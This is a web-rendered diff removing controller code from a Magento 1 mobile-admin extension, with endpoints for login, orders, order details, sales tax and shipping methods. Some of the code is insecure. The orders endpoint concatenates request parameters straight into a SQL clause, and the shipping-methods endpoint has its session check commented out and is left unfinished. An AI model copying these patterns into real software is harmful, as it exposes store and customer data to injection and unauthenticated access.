$saleTaxAcion['successMessage'] = "Include FPT In Subtotal Value Saved On ".$storeName." Store.";
|
| 5391 |
-
|
| 5392 |
-
Mage::getConfig()->reinit();
|
| 5393 |
-
Mage::app()->reinitStores();
|
| 5394 |
-
}
|
| 5395 |
-
$saleTaxAcion['includeFptInSubtotalSelectedValue'] = Mage::getStoreConfig('tax/weee/include_in_subtotal');
|
| 5396 |
-
|
| 5397 |
-
// echo "<pre>"; print_r($saleTaxAcion); die;
|
| 5398 |
-
$jsonData = Mage::helper('core')->jsonEncode($saleTaxAcion);
|
| 5399 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 5400 |
-
}
|
| 5401 |
-
catch(Exception $e)
|
| 5402 |
-
{
|
| 5403 |
-
$errorResult['error'] = $e->getMessage();
|
| 5404 |
-
|
| 5405 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 5406 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 5407 |
-
}
|
| 5408 |
-
}
|
| 5409 |
-
else
|
| 5410 |
-
{
|
| 5411 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 5412 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 5413 |
-
}
|
| 5414 |
-
}
|
| 5415 |
-
|
| 5416 |
-
/***** End Sales TAX section ******/
|
| 5417 |
-
|
| 5418 |
-
|
| 5419 |
-
|
| 5420 |
-
|
| 5421 |
-
|
| 5422 |
-
|
| 5423 |
-
|
| 5424 |
-
|
| 5425 |
-
//////////////////////////////////////////////// Working Progress on this part
|
| 5426 |
-
|
| 5427 |
-
/***** Start Shipping Methods section ******/
|
| 5428 |
-
|
| 5429 |
-
public function shippingMethodsAction()
|
| 5430 |
-
{
|
| 5431 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 5432 |
-
{
|
| 5433 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 5434 |
-
// $sessionId = $post_data['session'];
|
| 5435 |
-
// if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // check session if not, will return false
|
| 5436 |
-
// {
|
| 5437 |
-
// echo $this->__("The Login has expired. Please try log in again.");
|
| 5438 |
-
// return false;
|
| 5439 |
-
// }
|
| 5440 |
-
|
| 5441 |
-
try
|
| 5442 |
-
{
|
| 5443 |
-
$storeId = $post_data['store'];
|
| 5444 |
-
$storeName = Mage::getModel('core/store')->load($storeId)->getName();
|
| 5445 |
-
|
| 5446 |
-
|
| 5447 |
-
|
| 5448 |
-
|
| 5449 |
-
//echo "<pre>"; print_r($shippMethodsAcion); die;
|
| 5450 |
-
$jsonData = Mage::helper('core')->jsonEncode($shippMethodsAcion);
|
| 5451 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 5452 |
-
}
|
| 5453 |
-
catch(Exception $e)
|
| 5454 |
-
{
|
| 5455 |
-
$errorResult['error'] = $e->getMessage();
|
| 5456 |
-
|
| 5457 |
-
$jsonData = Mage::helper('core')->jsonEncode($errorResult);
|
| 5458 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 5459 |
-
}
|
| 5460 |
-
}
|
| 5461 |
-
else
|
| 5462 |
-
{
|
| 5463 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 5464 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 5465 |
-
}
|
| 5466 |
-
}
|
| 5467 |
-
|
| 5468 |
-
/***** End Shipping Methods section ******/
|
| 5469 |
-
|
| 5470 |
-
}
|
| 5471 |
-
?>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
app/code/local/EmizenTech/MobileAdmin/controllers/IndexController.php
DELETED
|
@@ -1,1891 +0,0 @@
|
|
| 1 |
-
<?php
|
| 2 |
-
class EmizenTech_MobileAdmin_IndexController extends Mage_Core_Controller_Front_Action{
|
| 3 |
-
|
| 4 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/index // pass parameter like this after second index from this URL ?userapi=test&keyapi=test etc.
|
| 5 |
-
* required parameter: @ userapi,keyapi,magento_url
|
| 6 |
-
*/
|
| 7 |
-
public function IndexAction()
|
| 8 |
-
{
|
| 9 |
-
//Mage::log('test', null, "cart_android.log");
|
| 10 |
-
$modules = Mage::getConfig()->getNode('modules')->children();
|
| 11 |
-
$modulesArray = (array)$modules['EmizenTech_MobileAdmin'];
|
| 12 |
-
$check_arr = (array)$modulesArray['EmizenTech_MobileAdmin'];
|
| 13 |
-
|
| 14 |
-
// Mage::log($modulesArray['active'], null, "cart_android.log");
|
| 15 |
-
// Mage::log("HelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHelloHello", null, "cart_android.log");
|
| 16 |
-
// Mage::log($check_arr['active'], null, "cart_android.log");
|
| 17 |
-
|
| 18 |
-
if(!isset($modulesArray['EmizenTech_MobileAdmin']['active']) && $check_arr['active'])
|
| 19 |
-
{
|
| 20 |
-
|
| 21 |
-
$error = array('error' => 'Please Enable EmizenTech_MobileAdminn. Go to System > Emizen Mobile Admin');
|
| 22 |
-
//Mage::log($error, null, "cart_android.log");
|
| 23 |
-
$jsonData = Mage::helper('core')->jsonEncode($error);
|
| 24 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 25 |
-
}
|
| 26 |
-
//Mage::log('fffff', null, "cart_android.log");
|
| 27 |
-
|
| 28 |
-
if(Mage::getStoreConfig('emizen_mob/emizen_general/enabled')) // check if extension is enabled on your magento store.
|
| 29 |
-
{
|
| 30 |
-
$isSecure = Mage::app()->getFrontController()->getRequest()->isSecure();
|
| 31 |
-
$validate_url = false;
|
| 32 |
-
if($isSecure)
|
| 33 |
-
{
|
| 34 |
-
if(Mage::getStoreConfig('web/secure/base_url') == Mage::getStoreConfig('web/secure/base_link_url')) // check secure URL
|
| 35 |
-
{
|
| 36 |
-
$validate_url = true;
|
| 37 |
-
}
|
| 38 |
-
}
|
| 39 |
-
else
|
| 40 |
-
{
|
| 41 |
-
if(Mage::getStoreConfig('web/unsecure/base_url') == Mage::getStoreConfig('web/unsecure/base_link_url')) // check unsecure URL
|
| 42 |
-
{
|
| 43 |
-
$validate_url = true;
|
| 44 |
-
}
|
| 45 |
-
}
|
| 46 |
-
//Mage::log('nav', null, "cart_android.log");
|
| 47 |
-
if($validate_url) // if validate is true
|
| 48 |
-
{
|
| 49 |
-
$details = Mage::app()->getRequest()->getParams();
|
| 50 |
-
$user = $details['userapi'];
|
| 51 |
-
$api_key = $details['keyapi'];
|
| 52 |
-
$deviceToken = $details['token'];
|
| 53 |
-
$flag = $details['notification_flag'];
|
| 54 |
-
$device_type = $details['device_type'];
|
| 55 |
-
|
| 56 |
-
$get_length = strlen($details['magento_url']);
|
| 57 |
-
|
| 58 |
-
if(substr($details['magento_url'], $get_length-1) != '/')
|
| 59 |
-
{
|
| 60 |
-
$details['magento_url'] = $details['magento_url']."/";
|
| 61 |
-
}
|
| 62 |
-
|
| 63 |
-
//Mage::log($details['magento_url'], null, "cart_android.log");
|
| 64 |
-
|
| 65 |
-
$url = $details['magento_url'].'api/soap/?wsdl';
|
| 66 |
-
|
| 67 |
-
//Mage::log("userapi:".$details['userapi'] . " ~ keyapi:".$details['keyapi'] ." ~ magento_url:".$details['magento_url'] ." ~ token:".$details['token'] ." ~ notification_flag:".$details['notification_flag'] ." ~ url:".$url, null , 'myadmin.log');
|
| 68 |
-
|
| 69 |
-
try
|
| 70 |
-
{
|
| 71 |
-
$soap = new SoapClient($url); // load shop library
|
| 72 |
-
$session_id = $soap->login($user, $api_key);
|
| 73 |
-
|
| 74 |
-
}
|
| 75 |
-
catch(SoapFault $fault)
|
| 76 |
-
{
|
| 77 |
-
$result['error'] = $fault->getMessage();
|
| 78 |
-
$jsonData = Mage::helper('core')->jsonEncode($result); // encode array to json
|
| 79 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 80 |
-
}
|
| 81 |
-
//echo $session_id; die;
|
| 82 |
-
if($session_id)
|
| 83 |
-
{
|
| 84 |
-
$webservice_user = Mage::getModel('api/user')->getCollection()->addFieldToFilter('username',Array('eq'=>$user))->getFirstItem();
|
| 85 |
-
$data[] = array(
|
| 86 |
-
'user' => $user,
|
| 87 |
-
'key' => $api_key,
|
| 88 |
-
'devicetoken'=>$deviceToken,
|
| 89 |
-
'session_id' => $session_id,
|
| 90 |
-
'notification_flag'=> $flag,
|
| 91 |
-
'device_type'=> $device_type,
|
| 92 |
-
'is_logout'=> '0',
|
| 93 |
-
'firstname'=>$webservice_user->getFirstname(),
|
| 94 |
-
'lastname'=>$webservice_user->getLastname(),
|
| 95 |
-
'email'=>$webservice_user->getEmail()
|
| 96 |
-
); // get data in array
|
| 97 |
-
$result = $soap->call($session_id,'mobileadmin_api.create',$data); // create api with entry in database
|
| 98 |
-
$jsonData = Mage::helper('core')->jsonEncode($result);
|
| 99 |
-
//echo "<pre>"; print_r($result); die;
|
| 100 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 101 |
-
}
|
| 102 |
-
}
|
| 103 |
-
else
|
| 104 |
-
{
|
| 105 |
-
$result['error'] = $this->__('Please check web base URL and magento base url on the store.'); // error if condishion is not true
|
| 106 |
-
}
|
| 107 |
-
}
|
| 108 |
-
else
|
| 109 |
-
{
|
| 110 |
-
$result['error'] = $this->__('Please Enable EmizenTech_MobileAdminn. Go to System > Emizen Mobile Admin');
|
| 111 |
-
}
|
| 112 |
-
$jsonData = Mage::helper('core')->jsonEncode($result);
|
| 113 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 114 |
-
}
|
| 115 |
-
|
| 116 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/checkfront // pass parameter like this after checkfront from this URL ?userapi=test&keyapi=test etc.
|
| 117 |
-
* required parameter: @ magento_url
|
| 118 |
-
*/
|
| 119 |
-
public function checkFrontAction()
|
| 120 |
-
{
|
| 121 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 122 |
-
$url = $post_data['magento_url']; // get magento url from the query string
|
| 123 |
-
$url_info = parse_url($url); // parse url using this function
|
| 124 |
-
|
| 125 |
-
$modules = Mage::getConfig()->getNode('modules')->children();
|
| 126 |
-
$modulesArray = (array)$modules['EmizenTech_MobileAdmin'];
|
| 127 |
-
$check_arr = (array)$modulesArray['EmizenTech_MobileAdmin'];
|
| 128 |
-
|
| 129 |
-
if(!isset($modulesArray['EmizenTech_MobileAdmin']['active']) && $check_arr['active'])
|
| 130 |
-
{
|
| 131 |
-
$error = array('error' => 'Please Enable EmizenTech_MobileAdminn. Go to System > Emizen Mobile Admin');
|
| 132 |
-
$jsonData = Mage::helper('core')->jsonEncode($error);
|
| 133 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 134 |
-
}
|
| 135 |
-
|
| 136 |
-
if(Mage::getStoreConfig('emizen_mob/emizen_general/enabled')) // if extension is enabled return true
|
| 137 |
-
{
|
| 138 |
-
$isSecure = Mage::app()->getFrontController()->getRequest()->isSecure();
|
| 139 |
-
$validate_url = false;
|
| 140 |
-
if($isSecure)
|
| 141 |
-
{
|
| 142 |
-
if(Mage::getStoreConfig('web/secure/base_url') == Mage::getStoreConfig('web/secure/base_link_url'))
|
| 143 |
-
{
|
| 144 |
-
$validate_url = true;
|
| 145 |
-
}
|
| 146 |
-
|
| 147 |
-
if($url_info['scheme'] == 'http') // check http and https in the URL
|
| 148 |
-
{
|
| 149 |
-
$result['error'] = $this->__('It seems you use secure url for your store. So please use "https". '); // check add index.php or not
|
| 150 |
-
$jsonData = Mage::helper('core')->jsonEncode($result);
|
| 151 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 152 |
-
}
|
| 153 |
-
|
| 154 |
-
}
|
| 155 |
-
else
|
| 156 |
-
{
|
| 157 |
-
if(Mage::getStoreConfig('web/unsecure/base_url') == Mage::getStoreConfig('web/unsecure/base_link_url'))
|
| 158 |
-
{
|
| 159 |
-
$validate_url = true;
|
| 160 |
-
}
|
| 161 |
-
}
|
| 162 |
-
if($validate_url)
|
| 163 |
-
{
|
| 164 |
-
$is_index = Mage::getStoreConfig('web/seo/use_rewrites');
|
| 165 |
-
if(!$is_index && basename($url) != 'index.php')
|
| 166 |
-
{
|
| 167 |
-
$result['error'] = $this->__('Please add "index.php" after url.'); // return error
|
| 168 |
-
$jsonData = Mage::helper('core')->jsonEncode($result);
|
| 169 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 170 |
-
}
|
| 171 |
-
$result['success'] = $this->__('Now connection is fine, you can run app.'); // if will be validated URL it will return this message.
|
| 172 |
-
}
|
| 173 |
-
else
|
| 174 |
-
{
|
| 175 |
-
$result['error'] = $this->__('There seems some difference between the Based URL & Magento Based URL(on the store).');
|
| 176 |
-
}
|
| 177 |
-
}
|
| 178 |
-
else
|
| 179 |
-
{
|
| 180 |
-
$result['error'] = $this->__('Please Enable EmizenTech_MobileAdminn. Go to System > Emizen Mobile Admin.');
|
| 181 |
-
}
|
| 182 |
-
$jsonData = Mage::helper('core')->jsonEncode($result); // convert data array to json
|
| 183 |
-
return Mage::app()->getResponse()->setBody($jsonData);
|
| 184 |
-
}
|
| 185 |
-
|
| 186 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/adminlogout // pass parameter like this after adminlogout from this URL ?userapi=test&token=test etc.
|
| 187 |
-
* required parameter: @ userapi,token
|
| 188 |
-
*/
|
| 189 |
-
public function AdminLogoutAction()
|
| 190 |
-
{
|
| 191 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 192 |
-
$user = $post_data['userapi'];
|
| 193 |
-
$deviceToken = $post_data['token'];
|
| 194 |
-
$collections = Mage::getModel("mobileadmin/emizenmob")->getCollection()->addFieldToFilter('device_token',Array('eq'=>$deviceToken));
|
| 195 |
-
$count = count($collections); // get number of record
|
| 196 |
-
|
| 197 |
-
foreach($collections as $user) // get device token using this loop
|
| 198 |
-
{
|
| 199 |
-
$device_token = $user->getDeviceToken();
|
| 200 |
-
try
|
| 201 |
-
{
|
| 202 |
-
$prefix = Mage::getConfig()->getTablePrefix();
|
| 203 |
-
$connection = Mage::getSingleton('core/resource')->getConnection('core_write');
|
| 204 |
-
$connection->beginTransaction();
|
| 205 |
-
$fields = array();
|
| 206 |
-
$fields['is_logout'] = 1; // if admin will be logged out then update this field in the database
|
| 207 |
-
$where = $connection->quoteInto('device_token =?', $device_token);
|
| 208 |
-
$connection->update($prefix.'emizenmob', $fields, $where); // update field if admin logout
|
| 209 |
-
$connection->commit();
|
| 210 |
-
}
|
| 211 |
-
catch(Exception $e)
|
| 212 |
-
{
|
| 213 |
-
return $e->getMessage(); // generate exception if will not perform try method data.
|
| 214 |
-
}
|
| 215 |
-
$successArr[] = array('success_msg' => 'You are now successfully logged out.'); // if admin is logged out will return this message
|
| 216 |
-
$result = Mage::helper('core')->jsonEncode($successArr);
|
| 217 |
-
return Mage::app()->getResponse()->setBody($result);
|
| 218 |
-
}
|
| 219 |
-
}
|
| 220 |
-
|
| 221 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/getlogoandcurrency // pass parameter like this after getlogoandcurrency from this URL ?userapi=test&keyapi=test etc.
|
| 222 |
-
* required parameter: @ storeid(optional)
|
| 223 |
-
*/
|
| 224 |
-
public function getLogoAndCurrencyAction()
|
| 225 |
-
{
|
| 226 |
-
$post_data = Mage::app()->getRequest()->getParams(); // get post data in array format.
|
| 227 |
-
$storeId = $post_data['storeid'];
|
| 228 |
-
$block = new Mage_Page_Block_Html_Header(); // load block to get header content of your current package theme logo
|
| 229 |
-
$logo = $block->getLogoSrc(); // get current store logo URL
|
| 230 |
-
|
| 231 |
-
$currency_code = Mage::getModel('core/store')->load($storeId)->getCurrentCurrencyCode(); // get current currency symbol on current store
|
| 232 |
-
|
| 233 |
-
$isPos = 0;
|
| 234 |
-
$resultArr = array('logo' => $logo,'currency_symbol' => Mage::app()->getLocale()->currency($currency_code)->getSymbol(),'is_pos' => $isPos);
|
| 235 |
-
//echo "<pre>"; print_r($resultArr); die;
|
| 236 |
-
$result = Mage::helper('core')->jsonEncode($resultArr); // convert array data to json
|
| 237 |
-
return Mage::app()->getResponse()->setBody($result); // set json result in body
|
| 238 |
-
}
|
| 239 |
-
|
| 240 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/admindashboard // pass parameter like this after admindashboard from this URL ?session=sdfsdf
|
| 241 |
-
* required parameter: @ session
|
| 242 |
-
*/
|
| 243 |
-
public function AdminDashboardAction()
|
| 244 |
-
{
|
| 245 |
-
$result = array(); // make attay to use one by one key push in array
|
| 246 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check if extension is enabled or not ?
|
| 247 |
-
{
|
| 248 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 249 |
-
$sessionId = $post_data['session'];
|
| 250 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) { // check if customer is not logged in then return Access denied
|
| 251 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 252 |
-
return false; // return logged out
|
| 253 |
-
}
|
| 254 |
-
|
| 255 |
-
// It will return admin stores from using this code
|
| 256 |
-
foreach (Mage::app()->getWebsites() as $website) {
|
| 257 |
-
foreach ($website->getGroups() as $group) {
|
| 258 |
-
$stores = $group->getStores();
|
| 259 |
-
foreach ($stores as $store) {
|
| 260 |
-
$result['store'][] = array('id' =>$store->getId(),
|
| 261 |
-
'name' => $store->getName()
|
| 262 |
-
);
|
| 263 |
-
}
|
| 264 |
-
}
|
| 265 |
-
}
|
| 266 |
-
|
| 267 |
-
// It will return total lifetime sale from using this code
|
| 268 |
-
$orderColl = Mage::getResourceModel('reports/order_collection')->calculateSales()->load()->getFirstItem()->getLifetime();
|
| 269 |
-
$total_sale_with_formetted_price = Mage::helper('core')->currency($orderColl, true, false);
|
| 270 |
-
$result['total_sale'] = $total_sale_with_formetted_price;
|
| 271 |
-
|
| 272 |
-
// It will return total average order from using this code
|
| 273 |
-
$collection = Mage::getResourceModel('reports/order_collection')->calculateSales(1);
|
| 274 |
-
$collection->load();
|
| 275 |
-
$sales = $collection->getFirstItem();
|
| 276 |
-
$total_avg_order_formetted_price = Mage::helper('core')->currency($sales->getAverage(), true, false);
|
| 277 |
-
$result['total_avg_orders'] = $total_avg_order_formetted_price;
|
| 278 |
-
|
| 279 |
-
// It will return last 5 orders from using this code
|
| 280 |
-
$collection_customer = Mage::getResourceModel('reports/order_collection')
|
| 281 |
-
->addItemCountExpr()
|
| 282 |
-
->joinCustomerName('customer')
|
| 283 |
-
->orderByCreatedAt();
|
| 284 |
-
$collection_customer->addAttributeToFilter('store_id', 1);
|
| 285 |
-
$collection_customer->addRevenueToSelect();
|
| 286 |
-
$collection_customer->setPageSize(5);
|
| 287 |
-
|
| 288 |
-
//echo "<pre>"; print_r($collection_customer->getData()); die;
|
| 289 |
-
foreach ($collection_customer->getData() as $value)
|
| 290 |
-
{
|
| 291 |
-
$result['last_orders']['Customer'][] = $value['customer_firstname']." ".$value['customer_lastname'];
|
| 292 |
-
$result['last_orders']['Items'][] = $value['total_item_count'];
|
| 293 |
-
$result['last_orders']['Grand Total'][] = $value['grand_total'];
|
| 294 |
-
}
|
| 295 |
-
//echo "<pre>"; print_r($result); die;
|
| 296 |
-
}
|
| 297 |
-
else
|
| 298 |
-
{
|
| 299 |
-
$result['error'] = $this->__('Please activate the Mobile Emizentech Extension on the Magento Store.');
|
| 300 |
-
}
|
| 301 |
-
|
| 302 |
-
$isEnable = Mage::helper('core')->jsonEncode($result);
|
| 303 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 304 |
-
}
|
| 305 |
-
|
| 306 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/adminorders // pass parameter like this after adminorders from this URL ?session=sdfsdf
|
| 307 |
-
* required parameter: @ session , limit , See $post_data variable
|
| 308 |
-
*/
|
| 309 |
-
public function AdminOrdersAction()
|
| 310 |
-
{
|
| 311 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check if extesion enabled or not ?
|
| 312 |
-
{
|
| 313 |
-
$post_data = Mage::app()->getRequest()->getParams(); // get parameter from post method
|
| 314 |
-
$sessionId = $post_data['session'];
|
| 315 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) { // check session if expired return access denied
|
| 316 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 317 |
-
return false;
|
| 318 |
-
}
|
| 319 |
-
|
| 320 |
-
$limit = $post_data['limit'];
|
| 321 |
-
$page = $post_data['page_num'];
|
| 322 |
-
$storeId = $post_data['storeid']; // Make varibles to get post data one by one
|
| 323 |
-
$offset = $post_data['offset'];
|
| 324 |
-
$is_refresh = $post_data['is_refresh'];
|
| 325 |
-
|
| 326 |
-
$orderCollection = Mage::getResourceModel('sales/order_grid_collection')->addFieldToFilter('store_id',Array('eq'=>$storeId))->setOrder('entity_id', 'desc'); // get order collection filter by storeId and desc order by entityId
|
| 327 |
-
|
| 328 |
-
$before_coll = count(Mage::getResourceModel('sales/order_grid_collection')->addFieldToFilter('store_id',Array('eq'=>$storeId))->setOrder('entity_id', 'desc')); //echo $before_coll; die;
|
| 329 |
-
|
| 330 |
-
if(isset($post_data['offset']))
|
| 331 |
-
{
|
| 332 |
-
$orderCollection->addAttributeToFilter('entity_id', array('lt' => $post_data['offset'])); // lt means less then
|
| 333 |
-
}
|
| 334 |
-
|
| 335 |
-
if(isset($post_data['is_refresh']) == 1) // check last updated order when you pass parameter to $is_refresh = 1
|
| 336 |
-
{
|
| 337 |
-
$last_fetch_order = $post_data['last_fetch_order'];
|
| 338 |
-
$min_fetch_order = $post_data['min_fetch_order'];
|
| 339 |
-
$last_updated = Mage::helper('mobileadmin')->getActualDate($post_data['last_updated']);
|
| 340 |
-
|
| 341 |
-
$orderCollection->getSelect()->where("(entity_id BETWEEN '".$min_fetch_order."'AND '".$last_fetch_order ."' AND updated_at > '".$last_updated."') OR entity_id >'".$last_fetch_order."'"); // collection filter by updated date
|
| 342 |
-
}
|
| 343 |
-
//$orderCollection->getSelect()->limit($limit); // define limit
|
| 344 |
-
//echo "<pre>"; print_r(get_class_methods($orderCollection)); die;
|
| 345 |
-
|
| 346 |
-
if(isset($page) && $limit)
|
| 347 |
-
{
|
| 348 |
-
//echo $page."**".$limit; die;
|
| 349 |
-
$orderCollection->setPage($page,$limit);
|
| 350 |
-
$orderCollection->setPageSize($limit);
|
| 351 |
-
}
|
| 352 |
-
|
| 353 |
-
$totl_rocrd = round($before_coll/$limit); //echo $totl_rocrd; die;
|
| 354 |
-
|
| 355 |
-
$i = ($page - 1)*$limit;
|
| 356 |
-
|
| 357 |
-
foreach($orderCollection as $order){
|
| 358 |
-
if($i < $before_coll)
|
| 359 |
-
{
|
| 360 |
-
$orderListData[] = array(
|
| 361 |
-
'entity_id' => $order->getEntityId(),
|
| 362 |
-
'increment_id' => $order->getIncrementId(),
|
| 363 |
-
'store_id' => $order->getStoreId(),
|
| 364 |
-
'customer_name' => $order->getBillingName(),
|
| 365 |
-
'status' => $order->getStatus(),
|
| 366 |
-
'order_date' => date('Y-m-d H:i:s', strtotime($order->getCreatedAt())),
|
| 367 |
-
'grand_total' => Mage::helper('mobileadmin')->getPrice($order->getGrandTotal()),
|
| 368 |
-
'toal_qty' => Mage::getModel('sales/order')->load($order->getEntityId())->getTotalQtyOrdered()
|
| 369 |
-
);
|
| 370 |
-
$i++;
|
| 371 |
-
}
|
| 372 |
-
}
|
| 373 |
-
|
| 374 |
-
$updated_time = date("Y-m-d H:i:s", Mage::getModel('core/date')->timestamp(time())); // get updated time
|
| 375 |
-
$orderListResultArr = array('orderlistdata' => $orderListData,'updated_time' =>$updated_time, 'total_record'=>$totl_rocrd);
|
| 376 |
-
//echo "<pre>"; print_r($orderListResultArr); die;
|
| 377 |
-
$orderListResult = Mage::helper('core')->jsonEncode($orderListResultArr); // comvert data array to json
|
| 378 |
-
return Mage::app()->getResponse()->setBody($orderListResult);
|
| 379 |
-
}
|
| 380 |
-
else
|
| 381 |
-
{
|
| 382 |
-
$result['error'] = $this->__('Please activate the Mobile Emizentech Extension on the Magento Store.');
|
| 383 |
-
}
|
| 384 |
-
}
|
| 385 |
-
|
| 386 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/adminorderdetail // pass parameter like this after adminorderdetail from this URL ?session=sdfsdf
|
| 387 |
-
* required parameter: @ session , entity_id , See $post_data variable
|
| 388 |
-
*/
|
| 389 |
-
public function AdminOrderDetailAction()
|
| 390 |
-
{
|
| 391 |
-
if(Mage::helper('mobileadmin')->isEnable()){ // check extension if enabled or not
|
| 392 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 393 |
-
$sessionId = $post_data['session'];
|
| 394 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) { // check session if not, will return false
|
| 395 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 396 |
-
return false;
|
| 397 |
-
}
|
| 398 |
-
|
| 399 |
-
$order_id = $post_data['entity_id']; // get entity id form post method
|
| 400 |
-
$order = Mage::getModel('sales/order')->load($order_id); // load sales order model by order id
|
| 401 |
-
|
| 402 |
-
$order_detail = array(
|
| 403 |
-
'entity_id' => $order->getEntityId(),
|
| 404 |
-
'increment_id' => $order->getIncrementId(),
|
| 405 |
-
'status' => $order->getStatus(),
|
| 406 |
-
'order_date' => date('Y-m-d H:i:s', strtotime($order->getCreatedAt())),
|
| 407 |
-
'total_qty' => $order->getTotalQtyOrdered(),
|
| 408 |
-
'grand_total' => Mage::helper('mobileadmin')->getPrice($order->getGrandTotal()),
|
| 409 |
-
'sub_total' => Mage::helper('mobileadmin')->getPrice($order->getSubtotal()),
|
| 410 |
-
'discount' => Mage::helper('mobileadmin')->getPrice($order->getDiscountAmount()),
|
| 411 |
-
'tax' => Mage::helper('mobileadmin')->getPrice($order->getTax())
|
| 412 |
-
);
|
| 413 |
-
|
| 414 |
-
$customer_id = $order->getCustomerId(); // get order customer id
|
| 415 |
-
$customer_name = $order->getCustomerFirstname()." ".$order->getCustomerLastname(); // get order first and last name
|
| 416 |
-
if($customer_id == null)
|
| 417 |
-
{
|
| 418 |
-
$customer_name = $order->getCustomerName();
|
| 419 |
-
}
|
| 420 |
-
|
| 421 |
-
$customer_detail = array(
|
| 422 |
-
'customer_id' => $customer_id,
|
| 423 |
-
'customer_name' => $customer_name,
|
| 424 |
-
'customer_email' => $order->getCustomerEmail()
|
| 425 |
-
);
|
| 426 |
-
|
| 427 |
-
$billing_address = $order->getBillingAddress(); // get order billing address
|
| 428 |
-
$billing_address_data = array(
|
| 429 |
-
'name' => $billing_address->getFirstname().' '.$billing_address->getLastname(),
|
| 430 |
-
'street' => $billing_address->getData('street'),
|
| 431 |
-
'city' => $billing_address->getCity(),
|
| 432 |
-
'region' => $billing_address->getRegion(),
|
| 433 |
-
'postcode' => $billing_address->getPostcode(),
|
| 434 |
-
'country' => Mage::getModel('directory/country')->loadByCode($billing_address->getCountryId())->getName(),
|
| 435 |
-
'telephone' => $billing_address->getTelephone()
|
| 436 |
-
);
|
| 437 |
-
$shipping_address = $order->getShippingAddress(); // get order shipping address
|
| 438 |
-
if($shipping_address)
|
| 439 |
-
{
|
